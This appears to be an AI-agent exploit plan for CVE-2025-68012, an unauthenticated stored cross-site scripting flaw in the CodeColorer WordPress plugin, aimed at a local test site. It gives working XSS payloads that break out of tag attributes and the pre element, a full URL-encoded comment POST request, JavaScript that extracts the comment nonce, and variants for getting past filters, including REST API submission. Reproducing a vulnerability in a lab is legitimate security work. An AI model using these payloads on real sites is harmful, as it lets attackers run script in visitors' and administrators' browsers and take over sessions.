CodeColorer <= 0.10.1 - Unauthenticated Stored Cross-Site Scripting

This research plan outlines the steps required to analyze and exploit CVE-2025-68012, an unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the CodeColorer plugin for WordPress.

1. Vulnerability Summary

The CodeColorer plugin (up to version 0.10.1) provides syntax highlighting for code snippets within WordPress posts and comments. The vulnerability exists because the plugin fails to sufficiently sanitize or escape the content and attributes of its custom tags (e.g., [cc], [codecolorer], or <codecolorer>) when they are processed through WordPress content filters like the_content and comment_text. An unauthenticated attacker can submit a comment containing a malicious payload wrapped in CodeColorer tags, which will be stored in the database and executed in the browser of any user (including administrators) who views the page.

2. Attack Vector Analysis

• Endpoint: wp-comments-post.php (standard WordPress comment submission) or the AJAX comment handler if the theme uses one.
• Hook: comment_text (Filter).
• Vulnerable Parameter: comment (The body of the comment).
• Authentication: None required (unauthenticated).
• Preconditions:
  • Comments must be enabled on at least one post/page.
  • The plugin must be active and configured to process tags in comments (default behavior).

3. Code Flow (Inferred)

1. Entry Point: An unauthenticated user submits a comment via POST /wp-comments-post.php.
2. Persistence: WordPress saves the raw comment string to the wp_comments table.
3. Trigger: An administrator or guest views the post containing the comment.
4. Execution Path:
   • WordPress fetches the comment and applies the comment_text filters.
   • CodeColorer::BeforeFilterContent (or similar function registered to comment_text) is called.
   • The plugin uses a Regular Expression (likely in codecolorer-core.php or codecolorer.php) to identify tags like [cc]...[/cc].
   • The plugin extracts the content and attributes (e.g., lang, tab_size).
   • The plugin processes the code (often using the GeSHi library or custom logic) and prepares the HTML output.
   • Vulnerability Sink: The processed content or attributes are returned and echoed to the page without being passed through esc_html(), esc_attr(), or wp_kses(). If the plugin performs html_entity_decode() on the input to handle "beautification" before rendering, it may re-activate scripts that WordPress core previously neutralized.

4. Nonce Acquisition Strategy

While the CodeColorer plugin itself does not typically require a custom nonce for content processing, WordPress core requires a nonce for comment submission in most default configurations to prevent CSRF.

1. Identify Script Localization: CodeColorer may localize scripts for its editor buttons, but these are usually for authenticated users.
2. Comment Nonce: To submit a comment programmatically, you need the _wpnonce and comment_post_ID.
3. Execution Steps:
   • Step 1: Use browser_navigate to go to a public post where comments are enabled.
   • Step 2: Use browser_eval to extract the comment nonce from the form:

     // Find the nonce field in the comment form
     document.querySelector('#commentform input[name="_wpnonce"]')?.value || 
     document.querySelector('input[name="akismet_comment_nonce"]')?.value;
     

   • Step 3: Note the comment_post_ID from the hidden input field or the URL.

5. Exploitation Strategy

The goal is to inject a stored XSS payload via a comment.

Payload Options:

• Tag Breakout: [cc lang='"><script>alert(document.domain)</script>']test[/cc]
• Content Injection: [cc] </pre><script>alert(1)</script> [/cc] (Breaking out of the <pre> tag CodeColorer uses for rendering).

HTTP Request (via http_request tool):

• Method: POST
• URL: http://localhost:8080/wp-comments-post.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

author=attacker&
email=attacker%40example.com&
url=http%3A%2F%2Fexample.com&
comment=%5Bcc+lang%3D%27%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%27%5Dtest%5B%2Fcc%5D&
submit=Post+Comment&
comment_post_ID=1&
comment_parent=0&
_wpnonce=[EXTRACTED_NONCE]

6. Test Data Setup

1. Enable Comments: Ensure "Allow people to submit comments on new posts" is checked in Settings > Discussion.
2. Target Post: Ensure a post with ID=1 exists (default "Hello World" post).
3. Plugin Activation: Confirm CodeColorer is active.

7. Expected Results

1. The comment is successfully posted and redirected.
2. When an administrator navigates to wp-admin/edit-comments.php or views the post at /?p=1, the browser executes the JavaScript.
3. An alert box appears showing the document domain, or a network request is triggered to an external listener if using a more complex payload.

8. Verification Steps

1. Database Check:

   wp db query "SELECT comment_content FROM wp_comments ORDER BY comment_ID DESC LIMIT 1;"
   

   Confirm the malicious [cc] tag is stored.
2. Frontend Check:
   Use the http_request tool to GET the post page and grep for the script:

   # Check if the raw script tags appear in the response HTML
   # Note: Do not use curl inside the container.
   

3. Admin Panel Check:
   Use browser_navigate to http://localhost:8080/wp-admin/edit-comments.php and check for the presence of the injected tags in the DOM.

9. Alternative Approaches

• Shortcode in Post Content: If the attacker can gain "Contributor" permissions, they can place the payload directly into a post draft.
• Nested Tags: Try nesting tags to bypass simple regex filters: [cc][cc]payload[/cc][/cc].
• Attribute Manipulation: If lang is sanitized, try other attributes like tab_size, line_numbers, or theme (e.g., theme='"><img src=x onerror=alert(1)>').
• REST API: Check if comments can be submitted via /wp-json/wp/v2/comments if the site has REST API comment submission enabled, which might bypass theme-level nonce requirements.